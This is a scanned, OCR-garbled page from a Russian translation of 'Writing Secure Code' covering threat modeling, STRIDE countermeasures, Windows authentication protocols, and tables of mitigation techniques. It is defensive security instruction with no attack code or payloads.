WWW.DISSERS.RU

БЕСПЛАТНАЯ ЭЛЕКТРОННАЯ БИБЛИОТЕКА

   Добро пожаловать!

Pages:     | 1 | 2 || 4 | 5 |   ...   | 12 |

«Michael Howard David LeBlank WRITING SECURE CODE Second Edition Microsoft Press ...»

-- [ Страница 3 ] --

Как и вариант 1, этот тоже далек от идеала: большинству пользователей часто не хватает квалификации, чтобы сделать правильный выбор, кроме того, текст предупреждений подчас не очень ясен и изобилует массой технических терми нов. (Создание «правильных» диалогов и понятной документации мы обсудим в главе 24.) Вдобавок администратор может получить доступ к функции в обход диалогового окна, а значит, не увидит предупреждение. Например, в рассмотрен ном примере он может задействовать сценарии, тогда никакие предупреждения на экране не появятся.

Помните: пользователи привыкают игнорировать предупреждения, если те возникают слишком часто, и обычно у них не хватает знаний для принятия пра вильного решения. Данный вариант годится, только когда масштабное тестир > ванис работы с ПО показало, что обычным и корпоративным пользователям тре буется именно небезопасный вариант функции, Если вы решили предупредить пользователя об опасной функции в докумеЕ! тации, помните, что они очень редко обращаются к бумажным руководствам без явной на то необходимости! Никогда не ограничивайтесь размещением предуп реждений только в документации. Сделайте так, чтобы все предостережения та кого рода регистрировались и подлежали аудиту.

Вариант 3: устранить проблемную функцию Разработчики часто жалуются на отсутствие времени на исправление проблем с безопасностью и сетуют, что по этой причине им придется поставлять продую с изъяном в защите. Подобное решение абсолютно неверно. Существует один, ко крайне радикальный метод: убрать небезопасную функцию из продукта. Если у вас не хватает времени на исправление ошибки, а опасность довольно серьезна, сто ит удалить рискованную часть продукта. Возможно, мнение потребителя ваш* и продукции подсластит вам эту горькую пилюлю: поставьте себя на место пользо вателя программы, которую только что взломали. Кроме того, вы все сможете исправить в следующей версии!

Вариант 4: решить проблему Этот подход наиболее очевиден: раз и навсегда решить проблему. Но он же и са мый сложный, так как требует выполнения большого объема работ проектиров щиками, разработчиками, тестировщиками и иногда — техническими писателн ми. Сейчас я расскажу, как технологии применяются для предотвращения опас ностей.

Часть I Безопасность приложений сегодня Отбор методов для предотвращения опасности Итак, наступило время решать, как предотвратить или снизить критичность гро зящих системе опасностей. Этот процесс состоит из двух стадий. На первой оп ределяют подходящие методы, на второй — технологии.

Не путайте методы с технологиями. Методы определяются, когда уже четко ясно.

технологии какого типа годятся для предотвращения опасности. Так, аутентифи кация — это метод обеспечения безопасности, а вот протокол Kerberos — конк ретная технология аутентификации. В табл. 4-10 перечислены методы, применя емые для борьбы с опасностями, описанными в модели STRIDE.

Таблица 4-10. Основные методы (основанные на технологиях безопасности) борьбы с опасностями Средства борьбы Тип опасности Надежный механизм аутентификации Подмена сетевых объектов Защита секретных данных Отказ от хранения секретов Надежный механизм авторизации Модификация данных Использование хешей MAC-коды Цифровые подписи Протоколы, предотвращающие прослушивание трафика Цифровые подписи Отказ от авторства Метки даты и времени Контрольные следы Разглашение информации Авторизация Протоколы с усиленной защитой от несанкциони рованного доступа Шифрование Защита секретов Отказ от хранения секретов Отказ в обслуживании Надежный механизм аутентификации Падежный механизм авторизации Фильтрация Управление числом входящих запросов Качество обслуживания Повышение уровня привилегий Выполнение с минимальными привилегиями Методы защиты В этом разделе я расскажу о методах защиты, перечисленных в табл. 4-10, и о тех нологиях, имеющихся в распоряжении проектировщиков и разработчиков. От мечу, что технологии я опишу не слишком подробно, так как этому предмету по ГЛАВА 4 Моделирование опасностей ' свящсно множество книг (названия некоторых из них вы найдете в библиогра фическом списке).

Замечу также, что при проектировании защищенной системы прежде всею следует проанализировать существующие механизмы безопасности. Если они уя ( вимы, лучше их перепроектировать или вообще отказаться от них. Не стоит по такать разработчикам, сохраняя знакомые им, но слабые или ненадежные меха низмы. Конечно, некоторые из них присутствуют в системе исключительно для обратной совместимости, но безопасность кода требует бескомпромиссных ре шений, и одно из них — отказаться от «дырявых» механизмов.

Аутентификация _ Аутентификация — это процесс, в котором один объект, или участник безопа\ посты (principal), проверяет подлинность другого объекта, то есть устанавлива ет, действительно ли он тот, за кого себя выдает. Участники безопасности — это пользователи, исполняемый код или компьютер. Аутентификация требует дока зательств в виде реквизитов (credentials), которые могут принимать различнье формы, но самые популярные— пароли, закрытые ключи или даже отпечатка пальцев (если используется биометрическая аутентификация), Windows поддерживает многие протоколы аутентификации. Некоторые из них встроены в ОС, другие можно использовать как блоки для построения собствен ной системы аутентификации. Вот некоторые из поддерживаемых Windows ме тодов аутентификации:

• базовая аутентификация;

• аутентификация на основе хеша;

• аутентификация на основе форм;

• аутентификация Microsoft Passport;

• стандартная аутентификация Windows;

• аутентификация по протоколу NTLM (NT LAN Manager):

• аутентификация по протоколу Kerberos v5;

• аутентификация на основе сертификатов Х.509;

• протокол IPSec (Internet Protocol Security):

• RADIUS.

Механизмы аутентификации различаются по надежности. Так, базовая аутен тификация (Basic Authentication) намного слабее, скажем, аутентификации по протоколу Kerberos. Об этом необходимо помнить при определении методов за щиты тех или иных конфиденциальных ресурсов. Кроме того, учитывайте, что одни методы предусматривают аутентификацию клиентов, а другие — серверов. Напри мер, при базовой аутентификации проверяется подлинность только клиента, но не сервера. В табл. 4-11 показано, подлинность каких объектов подтверждаю!

различные протоколы.

Безопасность приложений сегодня 94 Часть I Таблица 4-11. Протоколы аутентификации клиентов и серверов Аутентификация Аутентификация Протокол клиента сервера Нет Базовая аутентификация Да Аутентификация на основе хеша Да Нет Аутентификация на основе форм Нет la Да Нет Microsoft Passport Нет NTLM ••' Kcrberos За I,:

Сертификаты Х.509 L' I.!

Да (компьютер) Да (компьютер) IPSec Нет RADIUS Базовая аутентификация Базовая аутентификация — это простой протокол проверки подлинности, опре деленный как часть протокола HTTP 1.0 (см. RFC 2617 по адресу http://www.ietf.org/ rfc/rfc/rfc26l7.txt). Несмотря на то, что практически все Web-серверы и Web-бра узеры поддерживают этот протокол, он исключительно небезопасен из-за полного отсутствия защиты пароля. Имя и пароль всего лишь кодируются по методу Base64!

Короче говоря, базовую аутентификацию не стоит применять повсеместно: она не обеспечивает надежной защиты — исключение составляют случаи, когда со единение между клиентом и сервером защищается надежными средствами, напри мер протоколом SSL/TLS или IPSec, Аутентификация на основе хеша Аутентификация на основе хешей, как и базовая, описана в RFC 2617, но у нее есть ряд преимуществ: наиболее важное, что пароль не пересылается открытым тек стом. И еще, аутентификацию на основе хеша можно применять в других, отлич ных от HTTP, протоколах Интернета: в протоколе доступа к каталогам LDAP, по чтовых протоколах ШАР (Internet Message Access Protocol), POP3 (Post Office Protocol 3) и SMTP (Simple Mail Transfer Protocol).

Аутентификация на основе форм Стандартной реализации этого вида аутентификации не существует, и на боль шинстве сайтов используют свои варианты. Впрочем, в Microsoft ASPNET есть версия реализации интерфейса IHttpModule на основе класса FormsAuthenticationModule.

Аутентификация на основе форм работает следующим образом. Пользовате лю предлагается Web-страница, где он должен ввести имя и пароль и нажать кнопку отправки данных на сервер. Информация из Web-формы передается на Web-сер вер (обычно по SSL/TLS-соединению), который на ее основании принимает ре шение об аутентификации. К примеру, имя и пароль могут храниться в базе дан ных или, в случае ASP.NET, в конфигурационном XML-файле.

Вот пример ASP-кода, демонстрирующего чтение имени и пароля из формы и выполнение на их основе аутентификации:

ГЛАВА 4 Моделирование опасностей * Dim strUsername, strPwd As String strUsername = Request.Form("Username") strPwd = Request.Form("Pwd") If IsValidCredentials(strUserName, strPwd) Then Прекрасно! Даем пользователю добро на вход!

Отображаем этот факт, изменяя данные состояния Else Ой! Недопустимое имя пользователя и/или пароль Response.Redirect "401.html" End If Аутентификация на основе форм чрезвычайно популярна в Интернете. Одна ко при неумелой реализации она может стать небезопасной.

Microsoft Passport Passport-аутентификация — это централизованная схема аутентификации, поддер живаемая корпорацией Microsoft. Она применяется во многих сервисах (в том чис ie Microsoft Hotmail и Microsoft Instant Messenger) и на многочисленных сайтах элек тронной коммерции (в том числе 1-800-flowers.com, Victoria's Secret, Wxpedia.com, Costco Online, OfiiceMax.com, Office Depot и 800.com). Ее основное преимущестьо в том, что для входа в Passport-службу, при переходе на другой Web-сервис, ис пользующий Passport, не нужно заново вводить реквизиты. Для добавления в We> сервис поддержки Passport необходимо загрузить комплект ресурсов разработчика Passport Software Development Kit (SDK) с сайта http://www.passport.com.

Поддержка технологии Passport в ASP.NET реализована в классе PassportAuthen ticationModule. С ее помощью в Microsoft Windows.NET Server можно войти в сис тему посредством функции LogonUser. Кроме того, Internet Information Services (IIS 6) также поддерживает Passport в качестве стандартного протокола аутенти фикации, наравне с другими методами аутентификации: базовой, на основе хе шей, Windows и на основе клиентских сертификатов Х.509.

Стандартная аутентификация Windows В Windows поддерживается два основных протокола аутентификации: NTLM и Kerberos. На самом деле к ним можно причислить также SSL/TLS, но мы рассмот рим его позже. Аутентификация в Windows происходит посредством интерфе: i сов SSPI (Security Support Provider Interface). Эти протоколы реализованы в ви^е SSP-провайдеров (Security Support Provider). В Windows существует четыре основных SSP-провайдера: NTLM, Kerberos, Schannel и Negotiate. Первый служит для NTLM аутентификации, второй — для аутентификации Kerberos версии 5, a Schannel обеспечивает аутентификацию на основе клиентских сертификатов SSI./TLS. Пр> ) вайдер Negotiate отличается от остальных тем, что не поддерживает никаких пр- > токолов аутентификации, а применяется в этой ОС, начиная с Windows 2000, д. я выбора метода аутентификации клиента и сервера — NTLM или Kerberos.

Вопросы, связанные с SSPI, прекрасно изложены в книге Джеффри Рихтера (Jeffrey Richter) и Джейсона Кларка (Jason Clark) «Programming Server-Side Appli cations for Microsoft Windows 2000* (Microsoft Press, 2000) (Рихтер Дж., Кларк Дж. Д.

Часть I Безопасность приложений сегодня Программирование серверных приложений для Microsoft Windows 2000. Мастер класс. СПб.:«Питер»;

М.:<• Русская редакция», 2001).

NTLM-аутентификация Протокол NTLM поддерживают все современные версии Windows, в том числе Windows СЕ. NTLM работает по механизму «запрос — ответ» и применяется во многих Windows-службах, в том числе в службе доступа к файлам и печати, IIS, Microsoft SQL Server и Microsoft Exchange. Существует две версии NTLM. Версия 2, появившаяся в Windows NT SP 4, имеет одно значительное преимущество перед версией 1: она предотвращает атаки посредника (man-in-the-middle). Следует иметь в виду, что NTLM предусматривает аутентификацию только в одном направлении:

клиента сервером, но не позволяет клиенту проверить подлинность сервера.

Аутентификация Kerberos v Протокол Kerberos v5 разработан в Массачусетсом технологическом институте (Massachusetts Institute of Technology, MIT) и описан в документе RFC 1510 (http:// www.ietf.org/rfc/rfcl510.txf). В Windows 2000 и следующих ОС семейства Kerberos применяется при развертывании Active Directory. Одно из важнейших преимуществ Kerberos — взаимная аутентификация, то есть возможна проверка в обоих направ лениях: от клиента к серверу и наоборот. Kerberos считается более надежным, чем NTLM, а во многих ситуациях он к тому же работает быстрее, За подробным объяснением механизма работы Kerberos и принципов взаимо действия с серверными объектами по основным именам служб (service principal names. SPN) я отсылаю вас к одной из написанных мной ранее книг: «Designing Secure Web-based Applications for Microsoft Windows 2000» (Microsoft Press, 2000) (M. Ховард, М. Лени, Р Веймир Разработка защищенных Web-приложений на платформе Microsoft Windows 2000. Мастер-класс. СПб: «Питер»;

М.: «Русская Редакция», 2001), Аутентификация на основе сертификатов Х. Сертификаты Х.509 сейчас чаще всего используются в SSL/TLS. При подключении к Web-серверу по протоколу SSL/TLS при помощи HTTPS, а не HTTP, или к серве ру электронной почты посредством SSL/TLS приложение проверяет подлинность сервера. Для этого стандартное имя, извлеченное из сертификата сервера, срав нивается с именем компьютера, к которому подключается приложение. При не совпадении этих имен приложение предупредит пользователя о том, что, возможно, данное подключение ошибочно.

Я уже обращал ваше внимание на тот факт, что SSL/TLS по умолчанию позво ляют выполнять аутентификацию сервера. Кроме того, на этапе согласования по протоколу SSL/TLS есть необязательная стадия проверки подлинности клиента на основе клиентских сертификатов. Чтобы эта возможность заработала, клиентское ПО должно иметь один или более клиентских сертификатов Х.509, выданных центром сертификации, которому доверяет сервер.

Одна из самых перспективных реализаций клиентских сертификатов — смарт карты — устройства размером с кредитку, на которых хранятся один или более сертификатов и связанные с ними закрытые ключи. В Windows 2000/XP поддер жка смарт-карт встроена в ОС. На данный момент Windows поддерживает один сертификат и один закрытый ключ на каждую смарт-карту.

ГЛАВА 4 Моделирование опасностей Подробно о сертификатах Х.509, аутентификации клиентов, доверии и выпуске сертификатов рассказано в книге «Designing Secure Web-based Applications for Microsoft Windows 2000* (Microsoft Press, 2000) (М. Ховард, М. Леви, Р. Веймир Раз работка защищенных Web-приложен и и на платформе Microsoft Windows 2000.

Мастер-класс. СПб: «Питер*;

М.: «Русская Редакция», 2001).

Проблемы, связанные с именами а сертификатах Как я уже говорил, приложение (например, Web-браузер, клиент электрон ной почты или IDAP-кдиент) проверяет подлинность сервера, сравнивая имя из сертификата сервера с именем компьютера, к которому подключается.

Но здесь возможны затруднения, так как у сервера может быть несколько.. корректных имен, например NetBIOS-имя \у^ояфш>й^ DNS-имя bttfx//wuw. northwmdtraeters.com или IP-адрес 172.30.121.14. Все эти имена правомочны.

Если в сертификате указано DNS-имя, то при доступе по альтернативным именам возникает ошибка. Хотя сервер именно тот? который нужен, кли ентское ПО не признает альтернативные имена правильными.

Протокол IPSec IPSec немного отличается от уже рассмотренных протоколов тем, что предусмат ривает только аутентификацию серверов. Kerberos также поддерживает проверку подлинности одних серверов другими, но в отличие от него IPSec не позволяет выполнять аутентификацию пользователей. IPSec предусматривает больше возмож ностей, чем простая аутентификация серверов: он также поддерживает целостное гь данных и конфиденциальность (об этом позже). Windows 2000/XP обладают встро енной поддержкой IPSec, RADIUS Многие серверы, в том числе Microsoft Internet Authentication Service (IAS), под держивают службу RADIUS (Remote Administration Dial-In User Service) — стандарт де-факто для аутентификации удаленных пользователей, определенный в RFC 2058.

В качестве базы данных аутентификации в Windows 2000 выступает служба ката логов Active Directory.

Авторизация После того как подлинность участника безопасности подтверждена в процессе аутентификации, ему обычно требуется доступ к ресурсам, например к принте рам или файлам. Авторизация — это проверка, в процессе которой выясняется круг доступных аутентифицированному участнику ресурсов и предоставляется доступ к ним. Как правило, права разных участников безопасности на доступ к ресурсу различаются.

Windows поддерживает много механизмов авторизации, в том числе:

• списки управления доступом (Access control lists, ACL);

• привилегии;

• IP-ограничения;

• серверные разрешения.

Часть I Безопасность приложений сегодня Списки управления доступом Все объекты в Windows NT/2000/XP можно защитить посредством списков ACL.

ACL — это набор записей управления доступом (access control entries, АСЕ), каж дая из которых определяет, какие действия по отношения к ресурсу разрешены участнику безопасности. Например, пользователю Блейк (Blake) разрешены чте ние и запись объекта, а Шерил (Cheryl) может читать, записывать данные и со здавать новые объекты.

Примечание ACL-списки подробно описаны в главе 6.

Привилегии Привилегия — это право, предоставленное пользователю, действующее в масш табах всей системы, например возможность отладки программ, архивирования файлов, удаленного завершения работы компьютера. Некоторые действия пола гаются привилегированными и доступны для выполнения только доверенными пользователями.

Примечание Принципы привилегий рассматриваются в главе 7.

IP-ограничения IP-ограничения (IP restrictions) — особенность в IIS, которая позволяет ограничить доступ к части Web-сайта (например, к виртуальному или обычному каталогу) или ко всему Web-сайту, разрешив его только с отдельных IP-адресов, расположенных в определенных подсетях или имеющих определенные DNS-имена.

Серверные разрешения На многих серверах применяют собственные виды управления доступом для за щиты своих объектов. Так, Microsoft SQL Server поддерживает разрешения, опре деляющие порядок доступа к таблицам, хранимым процедурам и представлени ям. Приложения, основанные на СОМ+, поддерживают роли, или классы пользо вателей, для набора компонентов с одинаковыми правами доступа к наборам объектов. Роль определяет, каким пользователям разрешено вызывать интерфей сы компонента.

Технологии защиты от несанкционированного доступа и обеспечение конфиденциальности Множество сетевых протоколов поддерживают защиту от несанкционированно го доступа, а также конфиденциальность данных. Защита от несанкционирован ного доступа подразумевает способность защитить данные от удаления или из менения, как случайного, так и преднамеренного. Пользователю Блейку который отправил пользователю Люку заказ па 10 самосвалов, вряд ли понравится, что кто то изменит заказ в пути, увеличив число самосвалов до 20. Секретность означает то, что никто кроме Блейка и Люка просмотреть и изменить заказ не сможет, Windows поддерживает следующие протоколы и технологии для защиты от не санкционированного доступа и обеспечения конфиденциальности:

ГЛАВА 4 Моделирование опасностей • SSL/TLS;

• IPSec;

• DCOM и RPC:

• EFS.

SSITTLS Протокол SSL разработан компанией Netscape в середине 90-х. Он обеспечивает шифрование данных, пересылаемых между клиентом и сервером, и использует МАС-коды (Message Authentication Code) для гарантии целостности данных. TLS — это версия SSL, утвержденная группой IETF (Internet Engineering Task Force).

IPSec Я уже говорил, что IPSec поддерживает аутентификацию, шифрование для кон фиденциальности данных и МАС-коды для целостности данных. Весь трафик меж'гу поддерживающими IPSec серверами шифруется и проверяется на целостность. Дтя использования преимуществ IPSec никакой дополнительной настройки приложе ний не нужно, так как IPSec реализован на IP-уровне сетевого стека TCP/IP, DCOM и RPC Механизмы DCOM и RPC поддерживают аутентификацию, конфиденциальность и целостность. Если не использовать их для пересылки огромного объема данны х.

то на производительности работа DCOM и RPC сказывается мало. Подробнее — в главе 16.

Шифрующая файловая система EFS В Windows, начиная с версии 2000, есть шифрующая файловая система EFS (Encryp ting File System) — технология шифрования файлов, встроенная в файловую сис тему NTFS. Если SSL, TLS, IPSec и DCOM/RPC защищают данные при передаче, ~го EFS шифрует и гарантирует целостность файлов на диске, Защищайте секретные данные, а лучше вообще не храните их Лучший способ защиты секретной информации — не хранить ее вообще. Пусть пользователи запомнят секретные данные. Если приложение взломают, злоумыш ленник не узнает никаких секретов, ведь в системе их нет! Однако если их нужно все-таки сохранять, то обеспечьте их максимально надежную защиту. Это слож ная задача — как ее решать, рассказывается в главе 6, Шифрование, хеши, МАС-коды и цифровые подписи Конфиденциальность — способ сокрытия информации от любопытных глаз, ча сто для этого прибегают к шифрованию. Многие считают секретность и безопас ность синонимами. Хеширование — это применение к данным криптографичес кой функции, называемой хеш-функцией, или функцией дайджеста. В результ t те получается небольшое по размеру (по отношению к объему исходных данны;

':) значение, однозначно идентифицирующее данные. Обычный размер хеша — или 160 бит. Подобно отпечатку пальцев, хеш никакой информации о данных не содержит, но при этом однозначно идентифицирует их.

Часть I Безопасность приложений сегодня Получив данные с хешем, адресат может проверить, не изменялись ли данные, повторно вычислив хеш и сравнить его с полученным. Совпадение хешей свиде тельствует о том, что данные не изменялись. Конечно, это не совсем верно. Зло умышленник мог изменить данные и заменить хеш на соответствующий изменен ным данным, поэтому так важны МАС-коды и цифровые подписи.

При создании МАС-кода хеш-функция применяется к объединению самого сообщения и некоторых секретных данных, известных только доверенным сто ронам (обычно автору и получателю сообщения). Для проверки МАС-кода полу чатель вычисляет хеш, применяя хеш-функцию к данным и секретным данным.

Если результат совпадает с МАС-кодрм, прилагаемым к сообщению, можно считать, что данные не изменялись и пришли от лица, которому также известен секрет.

Цифровая подпись немного напоминает МАС-код. но в ней не используется общий секрет;

вместо этого выполняется хеширование данных, а затем — шиф рование полученного хеша закрытым ключом, известным только отправителю, Получатель может проверить подпись открытым ключом, связанным с закрытым ключом отправителя, расшифровать хеш открытым ключом, а затем вычислить хеш. Совпадение результатов гарантирует, что да?шые не изменялись и отправле ны тем, у кого есть закрытый ключ, парный имеющемуся открытому.

В Windows есть готовый криптографический API-интерфейс CryptoAPI (Crypto graphic API) для создания приложений с поддержкой шифрования, хеширования, создания МАС-кодов и цифровых подписей.

Примечание Шифрование, хеши и цифровые подписи подробно рассматри ваются в главе 8, Аудит Цель аудита, иногда его называют журналированием (logging), состоит в сборе информации об успешных и неудачных попытках доступа к объектам, использо вания привилегий и других важных с точки зрения безопасности действий, а также регистрации этой информации для дальнейшего анализа в защищенном журна ле. В Windows аудит реализован в виде журнала событий Windows, Web-журналов IIS и журналов иных приложений, в том числе SQL Server и Exchange.

Внимание! Все файлы журналов необходимо защитить от атак. При модели ровании следует учесть опасность, связанную с вероятностью и послед ствиями чтения, изменения или удаления файлов журнала, а также с невозможностью приложения добавлять записи в файл журнала из-за переполнения диска.

Фильтрация, управление входящими запросами и качество обслуживания Фильтрация (filtering) — это проверка получаемых данных и принятие решения об обработке или игнорировании пакета. Так работают фильтрующие пакет бранд Моделирование опасностей ГЛАВА мауэры, которые позволяют справиться с множеством атак типа «отказ в обслу живании», реализованных на IP-уровне.

Ограничение числа входящих запросов (throttling), например, позволяет orp.i ничить количество запросов от анонимных пользователей, разрешив больше за просов с аутентификацией. Последуйте этому совету, и нарушитель вряд ли ста нет атаковать, если ему прежде придется проходить идентификацию. Важно гра ничить число анонимных подключений, Качество обслуживания (quality of service) поддерживается набором KOMHOHCI t тов, разрешающих приоритетную обработку некоторых типов трафика. Напри мер, разрешение обрабатывать в первую очередь трафик потокового видео.

Минимальные привилегии Всегда используйте привилегии, как раз достаточные для выполнения задачи и не более того. Этой теме посвящена глава 7 целиком.

Устранение опасностей, грозящих приложению расчета зарплаты В табл. 4-12 описаны способы противостояния выявленным ранее опасностям.

Таблица 4-12, Применение технологий противостояния опасностям, грозящим приложению расчета зарплаты Опасность STRIDE Методы и технологии Просмотр данных о зарплате I Применяйте SSL/TLS (допустим также IPSec) в процессе пересылки для шифрования канала связи между сервером через сеть и клиентом Загрузка подложных Т Требуется более строгая аутентификация Web-страниц или кода Web-разработчиков. Снабжайте файлы «стро Web-сервиса гими» ACL. чтобы их могли записывать и уда лять только Web-разработчики и администра торы Блокировка доступа D Используйте брандмауэр для отбрасывания к приложению определенных IP-пакетов. Ограничьте ресур сы, предоставляемые анонимным пользовате лям (такие как оперативная память, дисковое пространство, время работы с базой данных и т.п.). Наконец, переместите файлы журналов на другой том Изменение данных Ти I Защитите трафик обновления данных о зар о зарплате плате посредством SSL/TLS или DCOM/RPC с поддержкой конфиденциальности — выбор за висит от используемых сетевых протоколов, Это снизит опасность разглашения информа ции. SSL/TLS также предоставляет МАС-коды для определения атак модификации данных.

К тому же при соответствующей настройке DCOM/RPC гарантирует целостность данных.

Возможно использование IPSec см. след, cm,'}, Часть I Безопасность приложений сегодня Таблица 4-12. (окончание) STRIDE Методы и технологии Опасность Повышение привилегий Примените к исполняемому процессу прин цип минимальных привилегий. Тогда даже при при помощи процесса обработки клиентских взломе процесса код не получит дополнитель ных полномочий запросов Самое простое — применить SSL/TLS, который Подмена Web-сервера разрешит клиентскому ПО выполнять провер ку подлинности сервера, если клиент сконфи гурирован соответствующим образом. Подоб ная конфигурация клиентов должна опреде ляться корпоративной политикой. Есть еще вариант: Kerberos, который поддерживает вза имную аутентификацию сервера и клиента Как вы видите, технологии безопасности выбирают только после выполнения анализа опасностей. Такой подход много лучше и безопаснее.

Внимание! Построение защищенных систем — сложная задача. Их проекти рование на основе моделей безопасности, используемых в качестве от правной точки для всей архитектуры, — отличный способ упорядочить построение таких систем, Основные опасности и методы борьбы с ними В табл. 4-13 перечислены основные опасности при проектировании приложений, возможные технологии устранения опасностей, а также некоторые недостатки использования каждой технологии. При этом предполагается, что главное преиму щество каждой технологии — снижение опасности до определенного уровня.

Элементы таблицы нельзя считать обязательными, и мы никак не претендуем на полный охват материала. Наша задача — привить вам вкус к поиску опасностей и дать базовые идеи, Таблица 4-13. Некоторые часто встречающиеся опасности и способы борьбы с ними Методы Типы Возникающие опасностей предотвращения проблемы Опасность Получение доступа Ти 1 SSL/TLS, WTIS (беспро- Необходимость на к конфиденциальным водный вариант TLS) стройки HTTP-сервера HTTP-данным или для использования за или IPS ее их модификация крытого ключа и серти фиката. Настройка IPSec также часто ока зывается сложной.

Ощутимое падение производительности при создании соедине ния. Незначительное падение производи тельности остального трафика ГЛАВА 4 Моделирование опасностей Таблица 4-13. (продолжение} Типы Методы Возникающие Опасность опасностей предотвращения проблемы Получение доступа ТиI Используйте варианты, Может потребоваться к конфиденциальным обеспечивающие изменение кода. Незна целостность и секрет- чительное падение про RPC- или DCOM-дан ность данных изводительности НЫМ ИЛИ ИХ модификация Просмотр или изме- ТиI PGP (Pretty Good Privacy) PGP сложен в испольг- о вании. S/MIME сложнс нение сообщений или S/MIMK (Secure/ электронной почты Multipurpose Internet конфигурировать Mail Extensions) Устройство с поддерж- Не забывайте PIN-код Потеря устройства, I содержащего конфи- кой PIN-кода и блоки ровка устройства при денциальные данные нескольких неудачных попытках ввода PIN-кода Проверка IP-адресов Ограничение входящих Переполнение подключений, например, работает некорректж сервиса большим при использовании про количеством на основе IP-адресов.

кси-серверов. Необходи Обязательная аутенти подключений фикация мость снабжения поль зователей учетными записями и паролями Увеличение пауз между Злоумышленник спосо Попытка подбора S. I и Е вводами пароля. бен спровоцировать пароля DoS-атаку, подбирая Более устойчивые пароли, и тем самым за к подбору пароли блокировать учетную запись так, что право мочным пользователям не удастся получить к ней доступ. В этом слу чае блокируйте учетною запись на длительное время, например па 15 минут.

Требуется добавить в приложение код для повышения устойчи вости паролей На Web-сайте потребу Шифрование cookie Просмотр конфи ется добавить код файлов на сервере денциальных для шифрования cookie-файлов МАС-коды или подпись На Web-сайте потребу Изменение ется добавить код cookie-файлои cookie-файлов для поддержки MAC на сервере или цифровых подписей см. след. cr. ip.

104 Безопасность приложений сегодня Часть I Таблица 4-13. (продолжение) Типы Методы Возникающие Опасность опасностей предотвращения проблемы Получение доступа Во-первых, такие дан- Задача может оказаться к закрытым и сек- ные не следует хранить сложной для решения, ретным данным вообще или хранить Подробно об этом — их на внешнем в главе устройстве. Если это Е1Свозможно, данные следует -спрятать- как можно надежнее, используя штатные средства ОС Подмена сервера Схема аутентификации Конфигурирование с поддержкой аутенти- может занять массу фикации сервера, времени например SSL/TLS, IPSec или Kerberos Отправка злоумыш- Строгий контроль раз- Необходимо определить ленником HTML-кода решенных входных подходящие регулярные или сценария данных на Web-сервере выражения и выяснить, на сервер с помощью регулярных что разрешается переда выражений вать на Web-сервер, Подробно об этом — в главе Открытие тысяч Ранжирование и закры- Затраты времени пассивных тие неработающих на оптимизацию соединений соединений. Соедине- алгоритма злоумышленником ния администраторов ранжирования не должны закрываться Соединения, не про- Обязательная аутенти- В приложении следует U шедшие, аутентифи- фикация. Исключитель- предусмотреть поддер кацию занимают но осторожное отно- жку аутентификации большой объем шение к соединениям и олицетворения памяти без аутентификации.

Предотвращение выде ления большого объема ресурсов неизвестному подключению Т, R, I и D Повтор (replay) Один из способов — Слишком сложно все пакетов с данными применение методов настроить. Но овчинка обеспечения конфиден- стоит выделки!

циальности (протоко лов SSL/TLS, IPSec или RPC/DCOM) для сокры тия данных. Также можно применить подсчет и тайм-аут пакетов. Для этого к незашифрованному пакету добавляют метку времени и применяют хеш-функцию по алго ритму MAC. Программа адресат при получении ГЛАВА 4 Моделирование опасностей - Таблица 4-13. (окончание} Типы Методы Возникающие Опасность опасностей предотвращения проблемы пакета сразу определит, стоит ли тратить на него время Ограничение списка Подробно об этом — Подключение ТЛиО отладчика к процессу учетных записей, обла- в главе дающих привилегией SeDebugPiivtlege Физическая защита.

Физический доступ Надежного решения н:;

т S7 Т, R I, злоумышленника Шифрование важных ОиЕ данных и предотвраще к оборудованию ние размещения ключей в компьютерном оборудован иии «Убийство» процесса Обязательная аутенти- Требует выполнения фикация перед выполне- в коде проверок в сти.

зл оумы шл ен нико м нием псех администра- Windows NT. Чтобы узнать, как правильно тивных задач. Только определять членство членам группы локаль ных администраторов в группах, обратитесь следует предоставлять к главе привилегию завершения процесса Обязательная аутенти- Процесс подписи Изменение S, Т, R I, фикация всех соедине- данных требует затрат конфигурационных ОиЕ времени и сложен данных ний, работающих с данными. «Строгие» для реализации ACL на файлах и под держка цифровых подписей "Законные»' пользовате Сообщения Не предоставляйте взломщику слишком ли также получают об ошибках содер малоинформативные много сведений. Дайте жит слишком много сообщения об ошибка • краткие сведения информации, которая об ошибке, а полное что чревато ростом помогает злоумыш числа обращений леннику реализовать описание занесите в журнал в отдел технической атаки поддержки Запрет на кэширование Иногда причиняет На совместно исполь- Ти!

неудобство правомоч важных данных, зуемых рабочих стан ным пользователям циях злоумышленник Егапример данных, пересылаемых пользо получает доступ или вателю по протоколам использует данные, SSL/TLS и IPSec оставшиеся в кэше от предыдущего пользователя Сложно обеспечить сек Шифрование файлов, Доступ и изменение Ти!

например средствами ретность ключей шиф данных маршрутиза рования. Использование ции на Web-сервере EFS. Надежная защита EFS в домене более безо ключей шифрования пасно, чем на изолиро от атак ванном компьютере Безопасность приложений сегодня 106 Часть I Резюме Я «железобетонно» уверен, что моделирование опасностей крайне важно при проектировании систем. Без построения модели невозможно выяснить, устране ны ли самые критичные опасности, грозящие приложению. Использование в при ложении всех случайных технологий обеспечения безопасности не сделает его защищенным: они могут не подойти или не справиться с задачей предотвраще ния опасностей. Я также уверен в том, что, потратив усилия и построив актуаль ные и точные модели опасностей, вы создадите более защищенные системы. Наш опыт показывает, что примерно половина изъянов в защите выявляется на этапе моделирования опасностей, так как при этом определяются те опасности, кото рые не заметны при прямом анализе кода.

Решение просто: соберите команду, выполните декомпозицию приложения (например, посредством DFD-диаграмм), определите грозящие системе опаснос ти при помощи деревьев опасностей и методики STRIDE, расположите опаснос ти по ранжиру с помощью такого средства, как DREAD, а затем выберите методы борьбы с опасностями на основе категорий STRIDE, Ну и, наконец, модели опасностей — это важный компонент процесса разра ботки надежной защиты. В Microsoft моделирование опасностей стала обязатель ной процедурой, через которую проходит каждое приложение до завершения проектирования.

ЧАСТЬ II МЕТОДЫ БЕЗОПАСНОГО КОДИРОВАНИЯ ГЛАВА Враг№1:

